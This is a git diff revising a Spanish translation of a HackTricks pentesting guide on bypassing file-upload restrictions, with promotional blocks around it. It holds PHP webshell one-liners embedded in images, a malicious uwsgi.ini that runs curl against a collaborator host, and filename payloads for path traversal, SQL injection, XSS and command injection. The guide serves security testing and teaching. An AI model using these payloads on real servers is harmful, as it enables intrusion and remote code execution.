<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si estás interesado en una **carrera en hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
|
||||
|
||||
|
@ -93,12 +111,14 @@ Si estás interesado en una **carrera en hacking** y hackear lo inhackeable - **
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende AWS hacking de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? o ¿quieres acceder a la **última versión de PEASS o descargar HackTricks en PDF**? Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,24 +1,26 @@
|
|||
# Subida de archivos
|
||||
# Carga de Archivos
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
![](<../../.gitbook/assets/image (638) (3).png>)
|
||||
|
||||
**Consejo de recompensa por errores**: ¡**regístrate** en **Intigriti**, una plataforma premium de **recompensas por errores creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comienza a ganar recompensas de hasta **$100,000**.
|
||||
**Consejo para cazar recompensas de bugs**: **regístrate** en **Intigriti**, una plataforma premium de caza de recompensas creada por hackers, para hackers. Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy y comienza a ganar recompensas de hasta **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## Metodología general de subida de archivos
|
||||
## Metodología General de Carga de Archivos
|
||||
|
||||
Otras extensiones útiles:
|
||||
|
||||
|
@ -29,15 +31,15 @@ Otras extensiones útiles:
|
|||
* **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
|
||||
* **Flash**: _.swf_
|
||||
* **Perl**: _.pl, .cgi_
|
||||
* **Servidor web Erlang Yaws**: _.yaws_
|
||||
* **Servidor Web Erlang Yaws**: _.yaws_
|
||||
|
||||
### Saltar las comprobaciones de extensiones de archivos
|
||||
### Evitar controles de extensiones de archivos
|
||||
|
||||
1. Si se aplican, **comprueba** las **extensiones anteriores**. Prueba también con algunas **letras mayúsculas**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Comprueba **añadiendo una extensión válida antes** de la extensión de ejecución (usa también las extensiones anteriores):_
|
||||
1. Si aplican, **verifica** las **extensiones anteriores.** También pruébalas usando algunas **letras mayúsculas**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Verifica **añadiendo una extensión válida antes** de la extensión de ejecución (usa también las extensiones anteriores):_
|
||||
* _file.png.php_
|
||||
* _file.png.Php5_
|
||||
3. Intenta añadir **caracteres especiales al final**. Puedes usar Burp para **probar todas las** letras **ascii** y **Unicode**. (_Ten en cuenta que también puedes probar usar las **extensiones anteriores**_)
|
||||
3. Intenta agregar **caracteres especiales al final.** Podrías usar Burp para **fuerza bruta** de todos los caracteres **ascii** y **Unicode**. (_Nota que también puedes intentar usar las **extensiones mencionadas anteriormente**_)
|
||||
* _file.php%20_
|
||||
* _file.php%0a_
|
||||
* _file.php%00_
|
||||
|
@ -47,7 +49,7 @@ Otras extensiones útiles:
|
|||
* _file._
|
||||
* _file.php...._
|
||||
* _file.pHp5...._
|
||||
4. Intenta saltar las protecciones **engañando al analizador de extensiones** del lado del servidor con técnicas como **duplicar** la **extensión** o **añadir datos basura** (bytes nulos) entre extensiones. _También puedes usar las **extensiones anteriores** para preparar una carga útil mejor._
|
||||
4. Intenta evadir las protecciones **engañando al analizador de extensiones** del lado del servidor con técnicas como **duplicar** la **extensión** o **añadir basura** (**bytes nulos**) entre extensiones. _También puedes usar las **extensiones anteriores** para preparar un payload mejor._
|
||||
* _file.png.php_
|
||||
* _file.png.pHp5_
|
||||
* _file.php#.png_
|
||||
|
@ -56,73 +58,73 @@ Otras extensiones útiles:
|
|||
* _file.php%0a.png_
|
||||
* _file.php%0d%0a.png_
|
||||
* _file.phpJunk123png_
|
||||
5. Añade **otra capa de extensiones** a la comprobación anterior:
|
||||
5. Añade **otra capa de extensiones** a la verificación anterior:
|
||||
* _file.png.jpg.php_
|
||||
* _file.php%00.png%00.jpg_
|
||||
6. Intenta poner la **extensión de ejecución antes de la extensión válida** y reza para que el servidor esté mal configurado. (útil para explotar configuraciones incorrectas de Apache donde cualquier cosa con la extensión **.php**, pero **no necesariamente terminando en .php**, ejecutará código):
|
||||
6. Intenta poner la **extensión de ejecución antes de la extensión válida** y reza para que el servidor esté mal configurado. (útil para explotar malas configuraciones de Apache donde cualquier cosa con extensión\*\* _**.php**_**, pero** no necesariamente terminando en .php\*\* ejecutará código):
|
||||
* _ej: file.php.png_
|
||||
7. Usa **NTFS alternate data stream (ADS)** en **Windows**. En este caso, se insertará un carácter de dos puntos ":" después de una extensión prohibida y antes de una permitida. Como resultado, se creará un **archivo vacío con la extensión prohibida** en el servidor (por ejemplo, "file.asax:.jpg"). Este archivo podría editarse más tarde utilizando otras técnicas, como usar su nombre de archivo corto. El patrón "**::$data**" también se puede usar para crear archivos no vacíos. Por lo tanto, añadir un carácter de punto después de este patrón también puede ser útil para saltar restricciones adicionales (por ejemplo, "file.asp::$data.")
|
||||
8. Intenta romper los límites del nombre de archivo. La extensión válida se corta y se deja el PHP malicioso. AAA<--SNIP-->AAA.php
|
||||
7. Usando **corrientes de datos alternas de NTFS (ADS)** en **Windows**. En este caso, se insertará un carácter de dos puntos “:” después de una extensión prohibida y antes de una permitida. Como resultado, se creará un **archivo vacío con la extensión prohibida** en el servidor (por ejemplo, “file.asax:.jpg”). Este archivo podría ser editado más tarde usando otras técnicas como usar su nombre corto. El patrón “**::$data**” también puede usarse para crear archivos no vacíos. Por lo tanto, añadir un carácter de punto después de este patrón también podría ser útil para evadir restricciones adicionales (.e.g. “file.asp::$data.”)
|
||||
8. Intenta romper los límites del nombre del archivo. La extensión válida se corta. Y el PHP malicioso queda. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux máximo 255 bytes
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # menos 4 aquí y añadiendo .png
|
||||
# Sube el archivo y comprueba la respuesta para ver cuántos caracteres permite. Digamos que 236
|
||||
# Sube el archivo y verifica la respuesta cuántos caracteres permite. Digamos 236
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
# Crear el payload
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
# Haz el payload
|
||||
AAA<--SNIP 232 A-->AAA.php.png
|
||||
```
|
||||
|
||||
### Bypass de Content-Type, Magic Number, Compresión y Redimensionamiento
|
||||
### Evitar controles de Content-Type, Número Mágico, Compresión y Redimensionamiento
|
||||
|
||||
* Bypass de las comprobaciones de **Content-Type** estableciendo el **valor** de la **cabecera Content-Type** a: _image/png_, _text/plain_, application/octet-stream_
|
||||
1. Wordlist de Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
|
||||
* Bypass de la comprobación de **magic number** añadiendo al principio del archivo los **bytes de una imagen real** (confundir el comando _file_). O introducir la shell dentro de los **metadatos**:\
|
||||
* Evita controles de **Content-Type** estableciendo el **valor** del **encabezado Content-Type** a: _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Lista de palabras de Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
|
||||
* Evita controles de **número mágico** añadiendo al principio del archivo los **bytes de una imagen real** (confunde el comando _file_). O introduce la shell dentro de los **metadatos**:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` o también podrías **introducir directamente el payload** en una imagen:\
|
||||
`\` o también podrías **introducir el payload directamente** en una imagen:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
* Si se está añadiendo **compresión a la imagen**, por ejemplo utilizando algunas bibliotecas PHP estándar como [PHP-GD](https://www.php.net/manual/fr/book.image.php), las técnicas anteriores no serán útiles. Sin embargo, podrías utilizar la técnica del **chunk PLTE** [**definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar algún texto que **sobreviva a la compresión**.
|
||||
* Si se está **añadiendo compresión a tu imagen**, por ejemplo usando algunas bibliotecas estándar de PHP como [PHP-GD](https://www.php.net/manual/fr/book.image.php), las técnicas anteriores no serán útiles. Sin embargo, podrías usar la técnica del **chunk PLTE** [**definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **sobreviva la compresión**.
|
||||
* [**Github con el código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
|
||||
* La página web también podría estar **redimensionando la imagen**, utilizando por ejemplo las funciones PHP-GD `imagecopyresized` o `imagecopyresampled`. Sin embargo, podrías utilizar la técnica del **chunk IDAT** [**definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar algún texto que **sobreviva a la compresión**.
|
||||
* La página web también podría estar **redimensionando** la **imagen**, usando por ejemplo las funciones de PHP-GD `imagecopyresized` o `imagecopyresampled`. Sin embargo, podrías usar la técnica del **chunk IDAT** [**definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **sobreviva la compresión**.
|
||||
* [**Github con el código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
|
||||
* Otra técnica para crear un payload que **sobreviva a un redimensionamiento de imagen**, utilizando la función PHP-GD `thumbnailImage`. Sin embargo, podrías utilizar la técnica del **chunk tEXt** [**definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar algún texto que **sobreviva a la compresión**.
|
||||
* Otra técnica para hacer un payload que **sobreviva un redimensionamiento de imagen**, usando la función de PHP-GD `thumbnailImage`. Sin embargo, podrías usar la técnica del **chunk tEXt** [**definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **sobreviva la compresión**.
|
||||
* [**Github con el código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
|
||||
|
||||
### Otros trucos para comprobar
|
||||
### Otros Trucos para Verificar
|
||||
|
||||
* Encontrar una vulnerabilidad para **renombrar** el archivo ya subido (cambiar la extensión).
|
||||
* Encontrar una vulnerabilidad de **Inclusión de Archivos Locales** para ejecutar la puerta trasera.
|
||||
* Encuentra una vulnerabilidad para **renombrar** el archivo ya subido (para cambiar la extensión).
|
||||
* Encuentra una vulnerabilidad de **Inclusión Local de Archivos** para ejecutar el backdoor.
|
||||
* **Posible divulgación de información**:
|
||||
1. Subir **varias veces** (y al **mismo tiempo**) el **mismo archivo** con el **mismo nombre**
|
||||
2. Subir un archivo con el **nombre** de un **archivo** o **carpeta** que **ya existe**
|
||||
1. Sube **varias veces** (y al **mismo tiempo**) el **mismo archivo** con el **mismo nombre**
|
||||
2. Sube un archivo con el **nombre** de un **archivo** o **carpeta** que **ya existe**
|
||||
3. Subir un archivo con **“.”, “..”, o “…” como su nombre**. Por ejemplo, en Apache en **Windows**, si la aplicación guarda los archivos subidos en el directorio “/www/uploads/”, el nombre de archivo “.” creará un archivo llamado “uploads” en el directorio “/www/”.
|
||||
4. Subir un archivo que no se pueda eliminar fácilmente, como **“…:.jpg”** en **NTFS**. (Windows)
|
||||
5. Subir un archivo en **Windows** con caracteres no válidos como `|<>*?”` en su nombre. (Windows)
|
||||
6. Subir un archivo en **Windows** utilizando **nombres** **reservados** (**prohibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 y LPT9.
|
||||
* También intenta **subir un ejecutable** (.exe) o un **.html** (menos sospechoso) que **ejecutará código** cuando sea abierto accidentalmente por la víctima.
|
||||
4. Sube un archivo que no pueda ser eliminado fácilmente como **“…:.jpg”** en **NTFS**. (Windows)
|
||||
5. Sube un archivo en **Windows** con **caracteres inválidos** como `|<>*?”` en su nombre. (Windows)
|
||||
6. Sube un archivo en **Windows** usando **nombres reservados** (**prohibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, y LPT9.
|
||||
* Intenta también **subir un ejecutable** (.exe) o un **.html** (menos sospechoso) que **ejecutará código** cuando sea abierto accidentalmente por la víctima.
|
||||
|
||||
### Trucos especiales de extensión
|
||||
### Trucos de extensiones especiales
|
||||
|
||||
Si estás intentando subir archivos a un servidor **PHP**, [echa un vistazo al truco de **.htaccess** para ejecutar código](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
|
||||
Si estás intentando subir archivos a un servidor **ASP**, [echa un vistazo al truco de **.config** para ejecutar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
Los archivos `.phar` son como los archivos `.jar` para Java, pero para PHP, y se pueden **utilizar como un archivo PHP** (ejecutándolo con PHP o incluyéndolo dentro de un script...).
|
||||
Los archivos `.phar` son como los `.jar` para java, pero para php, y pueden ser **usados como un archivo php** (ejecutándolo con php, o incluyéndolo dentro de un script...)
|
||||
|
||||
La extensión `.inc` se utiliza a veces para archivos PHP que solo se utilizan para **importar archivos**, por lo que en algún momento alguien podría haber permitido **ejecutar esta extensión**.
|
||||
La extensión `.inc` a veces se usa para archivos php que solo se utilizan para **importar archivos**, por lo que, en algún momento, alguien podría haber permitido **que esta extensión se ejecutara**.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
Si puedes subir un archivo XML a un servidor Jetty, puedes obtener [RCE porque **los nuevos \*.xml y \*.war se procesan automáticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Así que, como se menciona en la siguiente imagen, sube el archivo XML a `$JETTY_BASE/webapps/` ¡y espera la shell!
|
||||
Si puedes subir un archivo XML a un servidor Jetty puedes obtener [RCE porque **nuevos \*.xml y \*.war se procesan automáticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Por lo tanto, como se menciona en la siguiente imagen, sube el archivo XML a `$JETTY_BASE/webapps/` y espera la shell!
|
||||
|
||||
![](<../../.gitbook/assets/image (1) (3) (1) (1) (1).png>)
|
||||
|
||||
## **uWSGI RCE**
|
||||
|
||||
Si puedes reemplazar el archivo de configuración `.ini` de un [**servidor uWSGI, puedes obtener RCE**](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)**.** De hecho, los archivos de configuración de uWSGI pueden incluir variables "mágicas", marcadores y operadores definidos con una sintaxis precisa. El operador '@' en particular se utiliza en forma de @(nombre de archivo) para incluir el contenido de un archivo. Se admiten muchos esquemas de uWSGI, incluido "exec", que es útil para leer la salida estándar de un proceso. Estos operadores se pueden utilizar para la ejecución remota de comandos o para escribir/leer archivos arbitrarios cuando se analiza un archivo de configuración .ini:
|
||||
Si puedes reemplazar el archivo de configuración `.ini` de un servidor [**uWSGI puedes obtener RCE**](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)**.** De hecho, los archivos de configuración de uWSGI pueden incluir “variables mágicas”, marcadores de posición y operadores definidos con una sintaxis precisa. El operador ‘@’ en particular se usa en la forma de @(nombre de archivo) para incluir el contenido de un archivo. Muchos esquemas de uWSGI son compatibles, incluyendo “exec” - útil para leer la salida estándar de un proceso. Estos operadores pueden ser armados para Ejecución de Comandos Remotos o Escritura/Lectura de Archivos Arbitrarios cuando se analiza un archivo de configuración .ini:
|
||||
|
||||
Ejemplo de archivo `uwsgi.ini` malicioso:
|
||||
Ejemplo de archivo malicioso `uwsgi.ini`:
|
||||
```ini
|
||||
[uwsgi]
|
||||
; read from a symbol
|
||||
|
@ -140,14 +142,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
|||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
Cuando se **analice** el archivo de **configuración**, se **ejecutará** la **carga útil**. Tenga en cuenta que para que se analice la configuración, el **proceso debe reiniciarse** (¿crash? ¿DoS?) o el archivo se **recargará automáticamente** (una opción que podría estar en uso indica los segundos para recargar el archivo si se encuentra un cambio).
|
||||
Cuando el archivo de **configuración** sea **analizado**, el **payload** será **ejecutado**. Ten en cuenta que para que la configuración sea analizada, el **proceso necesita ser reiniciado** (¿caída? ¿DoS?) o el archivo **recargado automáticamente** (una opción que podría estar en uso indica los segundos para recargar el archivo si se encuentra un cambio).
|
||||
|
||||
**Nota importante:** El análisis del archivo de configuración de uWSGI es laxo. La carga útil anterior puede estar incrustada dentro de un archivo binario (por ejemplo, imagen, pdf, ...).
|
||||
**Nota Importante:** El análisis del archivo de configuración por uWSGI es laxo. El payload anterior puede estar incrustado dentro de un archivo binario (por ejemplo, imagen, pdf, ...).
|
||||
|
||||
## **Truco de carga de archivos/SSRF con wget**
|
||||
## **Truco de Subida de Archivos/SSRF con wget**
|
||||
|
||||
En algunas ocasiones, puede suceder que un servidor esté utilizando **`wget`** para **descargar archivos** y se pueda **indicar** la **URL**. En estos casos, es posible que el código esté verificando que la extensión de los archivos descargados esté dentro de una lista blanca para asegurarse de que solo se descarguen archivos permitidos. Sin embargo, **esta verificación se puede eludir**.\
|
||||
La **longitud máxima** de un **nombre de archivo** en **Linux** es de **255**, sin embargo, `wget` trunca los nombres de archivo a **236** caracteres. Puede **descargar un archivo llamado "A"\*232+".php"+".gif"**, este nombre de archivo **eludirá** la **verificación** (como en este ejemplo **".gif"** es una extensión **válida**), pero `wget` **renombrará** el archivo a **"A"\*232+".php"**.
|
||||
En algunas ocasiones puedes encontrar que un servidor está utilizando **`wget`** para **descargar archivos** y puedes **indicar** la **URL**. En estos casos, el código puede estar comprobando que la extensión de los archivos descargados esté dentro de una lista blanca para asegurar que solo se descarguen archivos permitidos. Sin embargo, **esta comprobación puede ser evitada.**\
|
||||
La **longitud máxima** de un **nombre de archivo** en **linux** es de **255**, sin embargo, **wget** trunca los nombres de archivo a **236** caracteres. Puedes **descargar un archivo llamado "A"\*232+".php"+".gif"**, este nombre de archivo **evitará** la **comprobación** (como en este ejemplo **".gif"** es una extensión **válida**) pero `wget` **renombrará** el archivo a **"A"\*232+".php"**.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
|
@ -170,7 +172,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
|||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
Ten en cuenta que **otra opción** que puedes estar considerando para evadir esta verificación es hacer que el **servidor HTTP redirija a un archivo diferente**, de modo que la URL inicial evite la verificación y luego wget descargará el archivo redirigido con el nuevo nombre. Esto **no funcionará** **a menos que** wget se esté utilizando con el **parámetro** `--trust-server-names`, porque **wget descargará la página redirigida con el nombre del archivo indicado en la URL original**.
|
||||
Tenga en cuenta que **otra opción** que podría estar pensando para eludir esta verificación es hacer que el **servidor HTTP redirija a un archivo diferente**, de modo que la URL inicial eludirá la verificación, pero luego wget descargará el archivo redirigido con el nuevo nombre. Esto **no funcionará** **a menos que** wget se esté utilizando con el **parámetro** `--trust-server-names`, porque **wget descargará la página redirigida con el nombre del archivo indicado en la URL original**.
|
||||
|
||||
#### Otros recursos
|
||||
|
||||
|
@ -181,27 +183,27 @@ Ten en cuenta que **otra opción** que puedes estar considerando para evadir est
|
|||
|
||||
## Herramientas
|
||||
|
||||
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) es una poderosa herramienta diseñada para ayudar a los Pentesters y Cazadores de Bugs en la prueba de mecanismos de carga de archivos. Utiliza varias técnicas de recompensa por errores para simplificar el proceso de identificación y explotación de vulnerabilidades, asegurando una evaluación exhaustiva de las aplicaciones web.
|
||||
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) es una herramienta poderosa diseñada para asistir a Pentesters y cazadores de recompensas en pruebas de mecanismos de carga de archivos. Aprovecha varias técnicas de recompensas por errores para simplificar el proceso de identificación y explotación de vulnerabilidades, asegurando evaluaciones exhaustivas de aplicaciones web.
|
||||
|
||||
## Desde la carga de archivos hasta otras vulnerabilidades
|
||||
## De la carga de archivos a otras vulnerabilidades
|
||||
|
||||
* Establece el **nombre de archivo** como `../../../tmp/lol.png` e intenta lograr una **travesía de ruta**
|
||||
* Establece el **nombre de archivo** como `sleep(10)-- -.jpg` y es posible que puedas lograr una **inyección SQL**
|
||||
* Establece el **nombre de archivo** como `<svg onload=alert(document.domain)>` para lograr un XSS
|
||||
* Establece el **nombre de archivo** como `; sleep 10;` para probar alguna inyección de comandos (más [trucos de inyección de comandos aquí](../command-injection.md))
|
||||
* Establezca **filename** a `../../../tmp/lol.png` e intente lograr un **path traversal**
|
||||
* Establezca **filename** a `sleep(10)-- -.jpg` y podría lograr una **SQL injection**
|
||||
* Establezca **filename** a `<svg onload=alert(document.domain)>` para lograr un XSS
|
||||
* Establezca **filename** a `; sleep 10;` para probar alguna inyección de comandos (más trucos de inyección de comandos [aquí](../command-injection.md))
|
||||
* [**XSS** en carga de archivos de imagen (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||||
* Carga de archivo **JS** + **XSS** = [Explotación de **Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||
* [**XXE en carga de archivos svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
* [**Redirección abierta** mediante la carga de archivos svg](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
* Prueba con **cargas útiles svg** diferentes de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
||||
* [Famosa vulnerabilidad de **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
